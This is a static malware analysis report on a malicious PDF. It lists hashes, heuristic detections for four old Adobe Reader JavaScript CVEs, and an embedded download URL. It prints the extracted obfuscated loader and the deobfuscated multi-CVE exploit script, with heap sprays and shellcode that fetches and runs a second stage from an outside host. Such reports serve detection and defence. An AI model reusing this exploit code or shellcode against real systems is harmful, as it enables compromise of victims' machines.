Malicious PDF — malware analysis report

Static analysis result for SHA-256 63f85f66a8e0495a…

MALICIOUS

PDF

12.3 KB First seen: 2015-10-04
MD5: b2decbe30ce94700e9165084afc45ccb SHA-1: 36c54444b4f1d64d920b54ccf8385007e47d6307 SHA-256: 63f85f66a8e0495ad93af6f93cff9e2911f332502e6e0febe373cd62872c31c0
510 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36291 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36291
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://sassgutfv.com/w.php?f=4&e=5 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11502 bytes
SHA-256: 4eae5caf433fc2e8290e81dd1969a54546bdae6a4f006598a28ddc83b4aac845
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
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10,72,33,24,57,57,19,27,50,37,24,57,57,10,37,26,8,25,19,44,57,73,51,3,24,31,56,29,46,27,15,23,75,75,71,25,29,12,23,24,0,10,39,3,57,24,36,63,41,49,63,40,3,46,51,37,26,44,24,51,40,11,39,44,51,26,3,31,41,56,51,24,11,72,46,51,10,29,37,19,11,10,31,75,43,46,6,68,6,68,43,46,6,68,6,68,43,46,6,68,6,68,43,46,6,68,6,68,75,41,49,0,19,39,40,11,19,54,57,24,19,38,72,46,51,10,29,37,19,11,10,31,27,15,29,12,41,49,61,10,19,11,27,57,24,37,28,72,51,24,11,48,11,19,54,57,24,19,38,49,27,44,12,27,57,24,37,28,72,46,51,10,29,37,19,11,10,31,75,43,46,6,68,6,68,43,46,6,68,6,68,75,41,49,61,10,19,38,10,39,29,44,69,10,72,1,6,49,29,11,39,19,54,72,61,10,19,38,10,39,29,44,69,10,48,61,10,19,11,27,57,24,37,28,50,57,10,51,12,26,61,49,36,61,44,57,10,31,27,44,12,27,57,24,37,28,50,57,10,51,12,26,61,58,29,11,39,19,54,41,56,27,44,12,27,57,24,37,28,48,72,27,44,12,27,57,24,37,28,49,63,40,3,44,57,57,27,57,24,37,28,72,27,44,12,27,57,24,37,28,50,29,46,27,29,26,39,44,51,12,31,6,71,29,11,39,19,54,41,49,27,57,24,37,28,72,27,44,12,27,57,24,37,28,50,29,46,27,29,26,39,44,51,12,31,6,71,27,44,12,27,57,24,37,28,50,57,10,51,12,26,61,32,29,11,39,19,54,41,49,36,61,44,57,10,31,27,57,24,37,28,50,57,10,51,12,26,61,48,29,11,39,19,54,58,6,2,52,6,6,6,6,41,56,27,57,24,37,28,72,27,57,24,37,28,48,27,57,24,37,28,48,3,44,57,57,27,57,24,37,28,49,63,40,25,10,25,72,51,10,36,40,68,39,39,19,54,31,41,49,3,24,39,31,44,72,6,49,44,58,55,52,6,6,49,44,48,48,41,56,25,10,25,45,44,67,72,27,57,24,37,28,48,61,10,19,11,27,57,24,37,28,49,63,40,0,19,39,40,51,46,25,72,55,1,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,49,46,26,44,57,50,11,39,44,51,26,3,31,75,43,52,53,6,6,6,3,75,71,51,46,25,41,49,63,40,3,46,51,37,26,44,24,51,40,12,10,26,44,37,24,51,31,41,56,0,19,39,40,19,39,39,54,72,51,10,36,40,68,39,39,19,54,31,41,49,44,3,31,19,11,11,50,38,24,37,50,33,24,57,57,19,27,50,12,10,26,73,37,24,51,41,56,0,19,39,40,11,19,54,57,24,19,38,72,46,51,10,29,37,19,11,10,31,27,15,29,12,41,49,0,19,39,40,61,14,17,53,6,6,33,60,72,11,19,54,57,24,19,38,50,57,10,51,12,26,61,22,1,49,0,19,39,40,17,54,72,6,2,52,6,6,6,6,6,32,31,61,14,17,53,6,6,33,60,48,6,2,21,70,41,49,0,19,39,40,54,19,39,29,11,72,46,51,10,29,37,19,11,10,31,75,43,46,4,6,4,6,43,46,4,6,4,6,75,41,49,54,19,39,29,11,72,10,69,0,39,31,54,19,39,29,11,71,17,54,41,49,0,19,39,40,11,53,68,15,30,66,53,3,72,31,6,2,6,37,6,37,6,37,6,37,32,6,2,52,6,6,6,6,6,41,62,6,2,52,6,6,6,6,6,49,3,24,39,31,0,19,39,40,0,17,37,59,64,4,66,54,72,6,49,0,17,37,59,64,4,66,54,58,11,53,68,15,30,66,53,3,49,0,17,37,59,64,4,66,54,48,48,41,56,19,39,39,54,45,0,17,37,59,64,4,66,54,67,72,54,19,39,29,11,48,11,19,54,57,24,19,38,49,63,40,0,19,39,40,26,20,42,61,60,27,35,36,72,46,51,10,29,37,19,11,10,31,75,43,6,4,75,41,49,36,61,44,57,10,31,26,20,42,61,60,27,35,36,50,57,10,51,12,26,61,58,6,2,52,6,6,6,41,56,26,20,42,61,60,27,35,36,48,72,26,20,42,61,60,27,35,36,49,63,40,26,20,42,61,60,27,35,36,72,75,60,50,75,48,26,20,42,61,60,27,35,36,49,19,11,11,50,38,24,37,50,33,24,57,57,19,27,50,12,10,26,73,37,24,51,31,26,20,42,61,60,27,35,36,41,49,63,63,40,19,47,57,46,12,44,51,29,72,19,11,11,50,11,57,46,12,73,51,29,49,0,19,39,40,29,0,72,11,19,39,29,10,73,51,26,31,19,11,11,50,0,44,10,36,10,39,5,10,39,29,44,24,51,50,26,24,65,26,39,44,51,12,31,41,50,37,61,19,39,68,26,31,6,41,41,49,3,24,39,31,0,19,39,40,44,72,6,49,44,58,19,47,57,46,12,44,51,29,50,57,10,51,12,26,61,49,44,48,48,41,56,44,3,31,19,47,57,46,12,44,51,29,45,44,67,50,51,19,25,10,72,72,18,8,65,37,39,44,11,26,18,41,56,0,19,39,40,57,0,72,19,47,57,46,12,44,51,29,45,44,67,50,0,10,39,29,44,24,51,49,63,63,40,44,3,31,31,57,0,72,72,4,41,34,34,31,31,29,0,72,72,70,41,13,13,31,57,0,58,72,70,50,55,1,41,41,41,56,12,10,26,44,37,24,51,31,41,49,63,10,57,29,10,40,44,3,31,57,0,72,72,9,50,55,41,56,11,39,44,51,26,3,31,41,49,63,10,57,29,10,40,44,3,31,31,31,29,0,72,72,66,41,34,34,31,29,0,72,72,9,41,41,13,13,31,57,0,58,9,50,55,55,41,41,56,27,2,31,41,49,63,10,57,29,10,40,44,3,31,31,57,0,74,72,4,50,55,41,34,34,31,57,0,58,72,4,50,1,41,34,34,31,57,0,74,72,70,50,55,21,41,34,34,31,57,0,58,72,70,50,55,9,41,41,56,3,46,51,37,26,44,24,51,40,19,31,41,56,46,26,44,57,50,11,39,44,51,26,38,31,18,11,16,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,40,23,40,54,54,54,54,55,55,55,18,71,51,10,36,40,64,19,26,10,31,41,41,49,63,0,19,39,40,61,72,19,11,11,50,11,57,46,12,73,51,29,49,3,24,39,31,0,19,39,40,3,72,6,49,3,58,61,50,57,10,51,12,26,61,49,3,48,48,41,56,44,3,31,61,45,3,67,50,51,19,25,10,72,72,18,8,65,37,39,44,11,26,18,41,56,0,19,39,40,44,72,61,45,3,67,50,0,10,39,29,44,24,51,49,63,63,40,44,3,31,31,44,74,70,50,55,1,41,13,13,31,44,58,70,50,1,41,41,56,37,72,51,10,36,40,68,39,39,19,54,31,41,49,0,19,39,40,38,72,46,51,10,29,37,19,11,10,31,18,43,46,4,6,4,6,43,46,4,6,4,6,18,41,49,0,19,39,40,10,72,46,51,10,29,37,19,11,10,31,27,15,29,12,41,49,36,61,44,57,10,31,38,50,57,10,51,12,26,61,58,72,6,2,70,6,6,6,41,56,38,48,72,38,49,63,38,72,38,50,29,46,27,29,26,39,31,6,71,6,2,70,6,6,6,32,10,50,57,10,51,12,26,61,41,49,3,24,39,31,3,72,6,49,3,58,1,4,6,6,49,3,48,48,41,56,37,45,3,67,72,38,48,10,49,63,19,31,41,49,19,31,41,49,26,39,54,56,26,61,44,29,50,25,10,38,44,19,50,51,10,36,47,57,19,54,10,39,31,51,46,57,57,41,49,63,37,19,26,37,61,31,10,41,56,63,19,31,41,49,63,63);
a=new String("v2xf9V0_E7epg&Wj@q'aU3*:omtbksK(-C|Gwcdr )M%i[uP+;.n45y1{l<QNh/}DS6]Az8,=I>'");
b="a"+"l";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
new asd;
}catch(q){
e=j['s'+'ubstr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())new ewt;}
catch(nergerg){
e(s);
}
legacy_pdfkit_stage_000.js deobfuscated-js string-index array decoded JavaScript at offset 0x369 3852 bytes
SHA-256: 8cc9528b331ff4fa971f5794a44c217f6d61d39bdda0327cf649df7ec14f70a0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u732f%u7361%u6773%u7475%u7666%u632e%u6d6f%u772f%u702e%u7068%u663f%u343d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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